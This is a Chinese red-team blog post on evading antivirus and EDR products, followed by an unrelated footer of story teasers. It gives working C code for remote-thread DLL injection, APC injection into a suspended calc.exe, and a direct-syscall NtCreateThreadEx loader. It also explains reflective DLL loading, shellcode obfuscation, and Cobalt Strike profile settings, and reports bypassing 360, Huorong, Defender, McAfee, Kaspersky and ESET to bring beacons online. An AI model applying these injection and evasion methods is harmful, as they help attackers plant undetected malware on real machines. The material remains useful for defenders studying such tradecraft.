【网络安全】红队攻防之基础免杀

引言

本文主要介绍“反射型dll注入”及“柔性加载”技术。

反射型dll注入

为什么需要反射型dll注入

常规的dll注入代码如下:

int main(int argc, char *argv[]) {
HANDLE processHandle;
PVOID remoteBuffer;
wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");

printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);        
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
CloseHandle(processHandle); 

return 0;
}

主要做了几件事情:

  1. 从磁盘读取dll到wchar_t数组

  2. 将该payload数组写入目标内存

  3. 在目标内存中找到LoadLibraryW函数

  4. 通过CreateRemoteThread调用LoadLibraryW函数,参数为dll在内存中的地址。

这样的操作模式有几个很高危的点。首先,从磁盘读取dll需要考虑dll的静态免杀,对此我们可以直接写在装载器中并加密。

其次,在目标内存中找到LoadLibraryW函数,需要GetProcAddress LoadLibraryW,这种调用属于很有特征的调用模式,容易被AV/EDR归类。对此我们的解决措施就是接下来要提及的反射型dll注入技术。

最后,CreateRemoteThread进行远程线程注入 行为本身就很高危,同时参数是LoadLibraryW的地址,一眼malware。

对此我们优化调用,不再使用CreateRemoteThread进而使用创建新进程的方式结合反射型dll注入技术改变dll注入技术的调用模式。

实现思路

早期的dll注入实现原理:


图片.png

上图比较清楚的写了反射型dll注入的原理,1,2,3步由A向B线程写入dll。第四步调用B线程中的embedded bootstrapper code。最后通过bootstrapper shellcode调用dll的导出函数reflective loader。

reflective loader实际上是一个自己实现的LoadLibraryW函数,从内存中找到我们写入的dll并修复使其成为可以被正常使用的pe文件,最后调用DLLmain实现我们的恶意功能。

我们的具体实现和上面早期的思路有所区别,首先我们不使用远程进程/线程注入的方式,其次我们不需要bootstrapper shellcode这个部分,我们可以直接在加载器部分算出reflective loader在内存中的地址,直接调用即可。

【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

具体实现

加载器部分

图片.png

首先shellcode使用AES解密,这部分添加了一些c的代码加密


图片.png

后来发现原本项目的release目录下有python的加密脚本:


图片.png

解密载入内存后,使用GetReflectiveLoaderOffset计算出ReflectLoader函数的偏移:


图片.png

最后创建线程调用ReflectLoader函数。

dll部分

ReflectiveLoader一共做了5件事:

一、 解析加载DLL所需kernel32.dll WINAPI的地址(例如VirtualAlloc, LoadLibraryA等),
通过关键函数的hash在内存中搜索,函数hash:


图片.png

遍历内存进行搜索:


图片.png

二、 将DLL及其相应的节写入内存中:


图片.png

三、 建立DLL导入表,以便DLL可以调用ntdll.dll和kernel32.dll WINAPI

图片.png

四、 修复重定位表:

图片.png

五、 调用DLL的入口点:


图片.png

最终我们的恶意代码位于dllmain中,项目还是采用加载shellcode的方式上线cs。

柔性加载

限制使用具有RWX标记的内存,cs在4+可以直接进行相关配置。


图片.png

推荐配置:

set startrwx        "false";
set userwx          "false";
set cleanup         "true";
set stomppe         "true";
set obfuscate       "true";
set sleep_mask      "true";
set smartinject     "true";

牛刀小试

360

使用base64+xor混淆shellcode:


图片.png

成功bypass:


图片.png

火绒

和上述方法相同:


图片.png

图片.png

definder

加强shellcode的混淆:

std::string rest2_reference = "xxx@@";
std::string rest3_reference = replace(rest2_reference, "@@", "==");

依旧报毒,但是类型发生改变了,说明静态的混淆有效果:


图片.png

异或的操作,比较可疑,经过测试发现是cs的shellcode出现在数组里就报毒,应该是对内存进行的扫描。

所以我们可以使用《文章二》中提及的技术“规避常见的恶意API调用模式”,将shellcode分片直接写入连续内存。

在测试的过程中发现莫名其妙的过了查杀:


图片.png

很神奇,这段并没有实现内存的切片写入,因为shellcode的大小没有达到4096,实际上相当于直接分配了个大小为4096的数组,写入了shellcode。

而且把这段代码相同的格式放外面就不行,个人感觉definder还是没有去检查内存。

可能是有语义分析的引擎,这次刚好绕过了语义分析。

macfee

同上方法可以成功bypass:


图片.png

正常执行命令:


图片.png

kasperky Endpoint 11 for windows

用过macfee和definder的demo2测试失败,注释掉代码加载部分不报毒,改用apc和创建进程的的方式加载内存:

SIZE_T shellSize = 4096;
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };

CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HANDLE victimProcess = pi.hProcess;
HANDLE threadHandle = pi.hThread;

LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;

WriteProcessMemory(victimProcess, shellAddress, exec, shellSize, NULL);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);

依旧不行:


图片.png

使用syscall调用NtCreateThreadEx。这里被坑了,WaitForSingleObject要使用,不然会异步,没法上线:

ANtCTE(
    &hThread,
    THREAD_ALL_ACCESS,
    NULL,
    GetCurrentProcess(),
    (LPTHREAD_START_ROUTINE)exec,
    NULL,
    NULL,
    0,
    0,
    0,
    nullptr
);
WaitForSingleObject(hThread, INFINITE);

能看到效果,行为检测依旧有问题:


图片.png

但漏洞利用防御已经没有相关报警:

图片.png

怀疑是cs本身流量特征的问题,为了验证我使用卡巴斯基本身的功能禁用了网络请求:

图片.png

确实不杀也不报警了,确定是cs通信的问题。

ESET Endpoint Security

demo3报警,并且明显检测到网络连接行为

图片.png

静态没有问题


图片.png

主要应该还是在对内存的检测,而且感觉已经执行到了发包


图片.png

下面根据《三》中的“beacon的内存加密”对demo3进行优化,使用RefleXXion工具的第二种将内存设为NO_ACCESS并通过注册异常处理还原的方式进行免杀。


图片.png

设置流量的白名单:


图片.png

关闭web控制后成功并上线


图片.png

eset在持续在扫描内存,但一直没有权限,一直触发异常,无法进入正常的后门逻辑


图片.png

能绕过内存的检测,但无法正常使用

图片.png

感觉ESET一直在我程序里进行内存操作,访问到了不可访问的内存段。

可能ESET的机制是一直在扫描程序内存,也可能是想要做一些hook。

我尝试使用RefleXXion的第一种方法,将shellcode加密并使属性为RW或RX的方式加载shellcode:


图片.png

可以成功上线,并且正常使用:


图片.png

总结

该系列文章所有的bypass edr方法都只在用户态进行操作,已经能规避大多数AV/EDR的检测。但不乏一些edr进行了比较多的内核层面的限制,如炭黑、fireeye等。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 219,366评论 6 508
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,521评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 165,689评论 0 356
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,925评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,942评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,727评论 1 305
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,447评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,349评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,820评论 1 317
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,990评论 3 337
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,127评论 1 351
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,812评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,471评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,017评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,142评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,388评论 3 373
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,066评论 2 355

推荐阅读更多精彩内容